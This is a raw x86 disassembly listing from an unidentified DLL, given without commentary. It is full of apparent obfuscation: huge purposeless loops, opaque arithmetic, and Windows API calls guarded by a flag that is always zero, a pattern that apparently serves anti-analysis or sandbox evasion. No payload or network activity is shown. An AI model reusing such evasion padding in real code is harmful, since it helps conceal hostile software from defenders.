mov dword [ebp - 0x44], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov eax, esi
cdq
idiv edi
mov eax, ecx
mov ecx, edx
shl eax, cl
mov ecx, 0x10609898
xor eax, dword [ebp - 0x44]
cdq
push edx
push eax
call fcn.1000fe8e
mov ecx, dword [ebp - 0x1c]
inc edi
cmp edi, 0x6903
jl 0x10037c85
inc esi
cmp esi, 0x2d8a
jl 0x10037c83
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x149f
jl 0x10037c81
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x7e36
jl 0x10037c7c
push 0x159f
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebp - 0x15], 0
je 0x10037d11
push ebx
push 0x1909
push 0x159d
push 0x1f5d
push 0x10aa
push 0xfaf
push 0xd2f
push 0x1a67
push 0x22fe
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x14], 0x63aa
jge 0x10037d4b
mov edx, 0x1000a810
mov ecx, 0x10609898
call fcn.10011938
jmp 0x10037d4b
xor edi, edi
mov dword [ebp - 4], 0xd
push 4
inc edi
pop esi
cmp dword [ebp - 0x24], ebx
je 0x10037d75
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x188]
sub edx, 0xc769
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov edx, 0xd5de
mov eax, dword [ebp - 0x24]
setne cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x38]
jmp 0x10037ba2
mov eax, dword [ebp - 0x188]
dec dword [eax]
jmp 0x10037b60
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 0xc
call fcn.10010025
mov dword [ebp - 0x20], 0x2891ba8
mov dword [ebp - 0x44], 0x48b
cmp dword [ebp - 0x44], 0x7be
jle 0x10037e3e
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x34], 0x135b
mov eax, edi
lea ecx, [ebp - 0x61c]
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037e16
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x61c]
call fcn.1001032f
add edi, esi
dec dword [ebp - 0x34]
jne 0x10037dfc
inc esi
cmp esi, 0x4817
jl 0x10037df3
xor edi, edi
inc edi
cmp dword [ebp - 0x44], 0x2d0
jge 0x10037e52
push 0x1000a868
call fcn.1004bbc6
pop ecx
push 2
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 4], 0xc
call fcn.1000ffa3
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x48], 0x6a9ef72d
mov dword [ebp - 0x48], 0xc3eee2fd
mov dword [ebp - 0x48], 8
push 2
call fcn.1000ffa3
push 2
mov dword [ebp - 0x34], 0xe2db80eb
mov dword [ebp - 0x50], ebx
pop edx
jmp 0x10037eb5
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4b0]
mov dword [eax + ecx*4], 0xea75c96
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x10037ea2
mov dword [ebp - 0x50], ebx
jmp 0x10037ece
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x498]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x10037ebf
mov dword [ebp - 0x50], ebx
jmp 0x10037ee9
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x2a8], 0xffffffff
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x10037ed8
inc dword [ebp - 0x2a4]
lea ecx, [ebp - 0x498]
inc dword [ebp - 0x34]
call fcn.10010025
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0xc
call fcn.10010025
push 2
mov dword [ebp - 0x14], 0x888ad88c
mov dword [ebp - 0x30], ebx
pop ecx
jmp 0x10037f2d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1b8], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10037f20
mov dword [ebp - 0x30], ebx
jmp 0x10037f45
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x78], 0xb13638ec
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10037f37
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037f5e
push 0x1085
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov dword [ebp - 0x74], edi
cmp dword [ebp - 0x74], ebx
jl 0x10037f8b
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x1b8], ecx
mov eax, dword [ebp - 0x74]
cmp dword [ebp + eax*4 - 0x1b8], ebx
jne 0x10037f8b
dec dword [ebp - 0x74]
jns 0x10037f66
mov dword [ebp - 0x38], 0x5c58
cmp dword [ebp - 0x38], 0x5e81
jle 0x10037ff6
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], 0x27f9
mov edi, dword [ebp - 0x44]
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
mov ecx, 0x10609898
cdq
push edx
push eax
call fcn.1000fe8e
inc esi
cmp esi, 0x3506
jl 0x10037fb2
mov edi, dword [ebp - 0x14]
add dword [ebp - 0x44], edi
dec dword [ebp - 0x34]
jne 0x10037fad
mov eax, dword [ebp - 0x1c]
dec edi
mov dword [ebp - 0x14], edi
cmp edi, 0xfffffa14
jg 0x10037fa3
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x343f
jl 0x10037fa0
xor edi, edi
inc edi
mov dword [ebp - 0x50], 6
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x38], 0x5a71
jge 0x1003803a
mov edx, 0x1000a908
mov ecx, 0x10609898
call fcn.10011938
jmp 0x1003803a
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x2f0]
push 4
mov dword [ebp - 0x30], ebx
pop esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], 0x89405dbd
mov dword [ebp - 0x34], 0x2f1efae0
push esi
call fcn.1000ffa3
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xb95c
mov dword [ebp - 0x14], ebx
jmp 0x10038086
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2f0]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10038077
mov dword [ebp - 0x44], 0x374a
cmp dword [ebp - 0x44], 0x3a0c
jle 0x100380fb
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
xor eax, edi
xor eax, ecx
lea ecx, [ebp - 0x7b4]
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100380c2
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7b4]
call fcn.1001032f
mov ecx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x670d
jl 0x100380a4
inc edi
cmp edi, 0x41ad
jl 0x100380a2
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x5415
jl 0x100380a0
xor edi, edi
inc edi
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jge 0x10038106
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x30]
neg edx
push 9
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x38]
jl 0x1003815d
mov eax, edi
cmp dword [ebp - 0x1c], ebx
jne 0x1003815f
mov eax, ebx
add eax, 0xbc906383
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xfffffff9
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x1003817a
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x2f0]
sbb edx, edx
xor ecx, ecx
add edx, 0x1364
cmp edx, eax
setle cl
mov dword [esi + 0xc], 0x6593
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x44], 0x33f9
jge 0x100381bc
push 0x1000a948
call fcn.1004bbc6
pop ecx
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0x2f0]
mov dword [esi + 0xc], 0x62e26a8a
mov byte [ebp - 4], 0xc
call fcn.10010025
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0xa6e4c1c1
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x30], 0xcd44
mov dword [ebp - 0x38], 0x9e885dc1
mov dword [ebp - 0x1c], 0x194e
cmp dword [ebp - 0x1c], 0x19e8
jle 0x10038268
push 0xd56
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, ebx
mov dword [ebp - 0x44], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, esi
mov edi, ebx
mov esi, edx
shl esi, cl
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10609898
cdq
push edx
push eax
call fcn.1000fe8e
inc edi
cmp edi, 0x12d6
jl 0x1003822b
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x19ff
jl 0x10038223
inc edx
mov dword [ebp - 0x44], edx
cmp edx, 0x4d91
jl 0x1003821e
xor edi, edi
inc edi
mov dword [ebp - 0x34], 0x75ff4442
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x1c], 0x172f
jge 0x100382ac
mov edx, 0x1000a9a8
mov ecx, 0x10609898
call fcn.10011938
jmp 0x100382ac
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x3c], ebx
push 4
mov dword [ebp - 0x1c], 3
pop esi
mov dword [ebp - 0x24], 0x1a
jmp 0x10038328
push 2
lea ecx, [ebp - 0x380]
call fcn.1000ffa3
mov dword [ebp - 0x2c], 0x6cce57bf
mov dword [ebp - 0x14], ebx
jmp 0x100382f5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x380]
mov dword [eax + ecx*4], 0xfff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100382e2
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], ebx
jl 0x1003831a
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x380]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x2c]
jns 0x10038303
lea ecx, [ebp - 0x380]
call fcn.10010025
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jg 0x100382c9
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
test eax, eax
mov eax, dword [ebp - 0x24]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x30]
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
sub edx, 0x16e2
neg edx
sbb edx, edx
inc edx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xc5c6
setle al
sub eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x10038426
mov dword [ebp - 0x44], 0x9ef5b506
xor edx, edx
mov dword [ebp - 0x4c], 0xae22781
imul ecx, dword [ebp - 0x38], 0xffff0258
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setle dl
sub edx, 0x277
cmp edx, dword [ebp - 0x44]
jg 0x100383d5
mov edx, edi
cmp dword [ebp - 0x30], ebx
jne 0x100383d7
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setge cl
imul edx, ecx, 0xbeb9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003848a
push 0xde0
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1003848a
mov dword [ebp - 0x44], ebx
xor ecx, ecx
mov dword [ebp - 0x34], 0x36a74b4f
mov dword [ebp - 0x3c], 0x575e0ad5
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x1c]
cmp eax, 0xbfe2
setle cl
imul eax, ecx, 0xb6c7
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jle 0x1003846c
mov eax, edi
cmp dword [ebp - 0x1c], ebx
jne 0x1003846e
mov eax, ebx
cmp dword [ebp - 0x44], eax
jge 0x1003847a
mov ecx, ebx
cmp dword [ebp - 0x3c], ebx
je 0x1003847c
mov ecx, edi
xor eax, eax
cmp ecx, 0xd56b862b
sete al
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], ebx
jmp 0x100384a0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c4], 0xd933bd3e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003848f
cmp dword [ebp - 0x54], ebx
jne 0x100384ae
mov eax, dword [ebp - 0x54]
mov esi, dword [ebp - 0x3f8]
xor eax, eax
mov ecx, dword [esi + 0xc]
cmp ecx, dword [esi]
sete al
xor ebx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setle bl
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x20]
cmp ebx, eax
mov eax, dword [ebp - 0x3f8]
setne dl
xor ecx, ecx
sub edx, dword [esi + 0xc]
cmp edx, dword [eax + 4]
mov dword [ebp - 0x1c0], edx
setl cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x40]
jle 0x10038501
cmp dword [ebp - 0x1c0], ebx
jne 0x10038501
xor esi, esi
mov edx, ebx
inc esi
jmp 0x10038506
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
cmp dword [ebp - 0x54], ecx
jge 0x1003851c
mov edx, esi
cmp dword [ebp - 0x20], ebx
jne 0x1003851e
mov edx, ebx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x50], 2
jae 0x10039e86
mov dword [ebp - 0x3c], 0x968f25ce
lea ecx, [ebp - 0x308]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x30], 0x96753f3a
push 2
call fcn.1000ffa3
mov dword [ebp - 0x14], ebx
jmp 0x1003856e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x308]
mov dword [eax + ecx*4], 0x8ff8cd3b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003855b
mov eax, dword [ebp - 0x50]
mov ecx, 0xda22
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x50]
jl 0x100385a0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x50]
cmp eax, 0x8ea5f34b
ja 0x100385b4
mov eax, esi
cmp dword [ebp - 0x50], ebx
jne 0x100385b6
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x50]
push 8
pop edi
cmp eax, edi
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x50]
cmp eax, 0x32fe
je 0x10038725
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], ebx
jl 0x10038719
mov dword [ebp - 0x40], 0x524be18a
mov dword [ebp - 0x50], ebx
jmp 0x10038623
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003860b
push 0x19ed
push 0x2036
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10038620
push ebx
push 0xe1
call dword [sym.imp.USER32.dll_GetWindowInfo]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], esi
jle 0x100385f1
mov dword [ebp - 0x50], ebx
jmp 0x10038707
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x34], 0x51aaf19
mov dword [ebp - 0x34], 0x4600ebe6
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x24], ebx
jmp 0x100386f5
cmp dword [ebp - 0x50], esi
jle 0x10038630
dec dword [ebp - 0x30]
jns 0x100385e5
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], 0x9a67e99e
jmp 0x1003873a
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003873a
push 0x11ff
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [ebp - 0x308]
call fcn.10010025
mov dword [ebp - 0x60], 0x3c62ed5b
mov dword [ebp - 0x14], 0x7e2799ac
mov dword [ebp - 0x40], 0x872fa4ad
mov dword [ebp - 0x14], 0xfffffff6
cmp dword [ebp - 0x14], 3
jge 0x100388a1
mov dword [ebp - 0x34], 0x774
cmp dword [ebp - 0x34], 0x9e6
jle 0x100387c0
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov eax, esi
cdq
idiv edi
lea eax, [ecx + edx]
mov ecx, 0x10609898
cdq
push edx
push eax
call fcn.1000fe8e
mov ecx, dword [ebp - 0x1c]
inc edi
cmp edi, 0x7c08
jl 0x10038784
inc esi
cmp esi, 0x4875
jl 0x10038782
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x30ed
jl 0x10038780
xor esi, esi
push 8
inc esi
pop edi
mov dword [ebp - 0x1c], 0x7cefa9d1
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x34], 0x5e9
jge 0x100387e3
mov edx, 0x1000a9f0
mov ecx, 0x10609898
call fcn.10011938
push 9
pop eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x34], 0x6eed1e12
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe5ab06c0
mov dword [ebp - 0x40], 0x173b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp eax, ecx
setg bl
sub ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg bl
xor ecx, ecx
cmp eax, ebx
setg cl
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10038871
push ebx
push 0x1eee
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
inc dword [ebp - 0x14]
jmp 0x10038761
mov dword [ebp - 0x3c], 0x74c77a5c
mov dword [ebp - 0x34], 0x1bed
cmp dword [ebp - 0x34], 0x1d79
jle 0x10038919
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
lea ecx, [esi + edi]
shl eax, cl
lea ecx, [ebp - 0x700]
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100388de
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x700]
call fcn.1001032f
mov eax, dword [ebp - 0x1c]
inc esi
cmp esi, 0xf68
jl 0x100388c1
inc edi
cmp edi, 0x387f
jl 0x100388bf
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x2a2f
jl 0x100388bd
xor esi, esi
push 8
inc esi
pop edi
mov dword [ebp - 0x20], 0x6f5a9c4c
mov dword [ebp - 0x48], 0x91c5534b
mov dword [ebp - 0x48], 0xa6e6f7fb
mov dword [ebp - 0x48], 0x90ef307d
mov dword [ebp - 0x48], 0xb844a754
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x40], 0x3a266d21
mov dword [ebp - 0x30], ebx
jmp 0x10038960
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x174], 0x3d8d
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1003894f
mov dword [ebp - 0x30], ebx
jmp 0x1003897b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5dc], 0xfffffffc
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1003896a
cmp dword [ebp - 0x174], ebx
jne 0x1003899e
mov dword [ebp - 0x30], 8
lea ecx, [ebp - 0x338]
push esi
call fcn.1000ffa3
mov dword [ebp - 0x14], ebx
jmp 0x10039ead
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x338]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10039e9e
mov dword [ebp - 0x30], ebx
jmp 0x10039ed3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039ed0
push 0x13e8
push 0xd65
call dword [sym.imp.GDI32.dll_SetROP2]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
je 0x10039eb7
mov dword [ebp - 0x30], ebx
jmp 0x10039ef1
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x338]
mov dword [eax + ecx*4], 0x532bb11a
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10039ede
lea ecx, [ebp - 0x338]
call fcn.10010025
mov dword [ebp - 0x4c], 6
inc dword [ebp - 0x4c]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f8]
call fcn.10010025
mov dword [ebp - 0x11c], 0xe91a049f
mov dword [ebp - 0x118], 0xe91a049f
mov dword [ebp - 0x114], 0xe91a049f
mov dword [ebp - 0x110], 0xe91a049f
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x1c], 0xffff
mov dword [ebp - 0x24], ebx
jmp 0x10039f6c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039f69
push 0xa1
call dword [sym.imp.USER32.dll_IsIconic]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x10039f55
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x14], 0xf8d9a2b8
mov dword [ebp - 0x4c], 0x3710
cmp dword [ebp - 0x4c], 0x3831
jle 0x10039ffc